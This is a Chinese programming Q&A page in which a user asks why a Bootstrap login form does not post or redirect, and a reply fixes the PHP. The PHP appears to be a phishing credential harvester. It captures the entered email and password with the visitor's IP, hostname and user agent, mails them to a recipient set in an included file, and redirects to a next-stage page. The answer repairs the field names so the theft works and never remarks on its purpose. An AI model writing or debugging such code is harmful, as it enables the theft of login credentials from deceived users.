猿问

如何修复“引导表单不发布和重定向”

我正在尝试使用Bootstrap 3创建一个表单。该表单不会发布或重定向到页面2。这里是我的表单,不会重定向或发布


<form role="form" action="sqr.php" method="post">

                    <div class="row">

                    <div class="form-group col-xs-11">

                    <label for="exampleInputEmail1"></label>

                    <input type="email" class="form-control" id="exampleInputEmail1" name="usrr" placeholder="Email Adress">

                    </div>

                    </div>


                    <div class="row">

                    <div class="form-group col-xs-11">

                    <label for="exampleInputPassword1"></label>

                    <input type="password" class="form-control" id="exampleInputPassword1" name="psww" placeholder="Password">

                    </div>

                    </div>


                    <button type="submit" class="btn btn-info col-xs-11">Log In</button>

                </form>

这是我的PHP


<?php

if($_POST["usr"] != "" and $_POST["psw"] != ""){

$ip = getenv("REMOTE_ADDR");

$hostname = gethostbyaddr($ip);

$useragent = $_SERVER['HTTP_USER_AGENT'];

$message .= "-------------- Info-----------------------\n";

$message .= "Email            : ".$_POST['usrr']."\n";

$message .= "Password           : ".$_POST['psww']."\n";

include 'email.php';

$subject = "New User| $ip";

{

mail("$to", "$send", "$subject", $message);     

}

$praga=rand();

$praga=md5($praga);

header ("Location: sq1.php");


?>

这是我的Javascript


$(function()

{

function after_form_submitted(data) 

{

    if(data.result == 'success')

    {

        $('form#reused_form').hide();

        $('#success_message').show();

        $('#error_message').hide();

    }

    else

    {

        $('#error_message').append('<ul></ul>');


        jQuery.each(data.errors,function(key,val)

        {

            $('#error_message ul').append('<li>'+key+':'+val+'</li>');

        });

        $('#success_message').hide();

        $('#error_message').show();

但它不会发布,也不会重定向。不断回到同一页面,对于网页设计而言,我还是比较陌生的。非常感谢您的帮助


慕少森
浏览 162回答 1
1回答

慕哥9229398

首先,您的php $ _POST是错误的。它必须在下面。并且请检查邮件功能$ to和$ send变量。if ($_POST["usrr"] != "" and $_POST["psww"] != "") {&nbsp; &nbsp; &nbsp; &nbsp; $ip = getenv("REMOTE_ADDR");&nbsp; &nbsp; &nbsp; &nbsp; $hostname = gethostbyaddr($ip);&nbsp; &nbsp; &nbsp; &nbsp; $useragent = $_SERVER['HTTP_USER_AGENT'];&nbsp; &nbsp; &nbsp; &nbsp; $message = '';&nbsp; &nbsp; &nbsp; &nbsp; $message .= "-------------- Info-----------------------\n";&nbsp; &nbsp; &nbsp; &nbsp; $message .= "Email&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : " . $_POST['usrr'] . "\n";&nbsp; &nbsp; &nbsp; &nbsp; $message .= "Password&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: " . $_POST['psww'] . "\n";&nbsp; &nbsp; &nbsp; &nbsp; include 'email.php';&nbsp; &nbsp; &nbsp; &nbsp; $subject = "New User| $ip";&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mail("$to", "$send", "$subject", $message); // Where is $to and $send variables ?&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; $praga = rand();&nbsp; &nbsp; &nbsp; &nbsp; $praga = md5($praga);&nbsp; &nbsp; &nbsp; &nbsp; header("Location: sq1.php");&nbsp; &nbsp; }
随时随地看视频慕课网APP
我要回答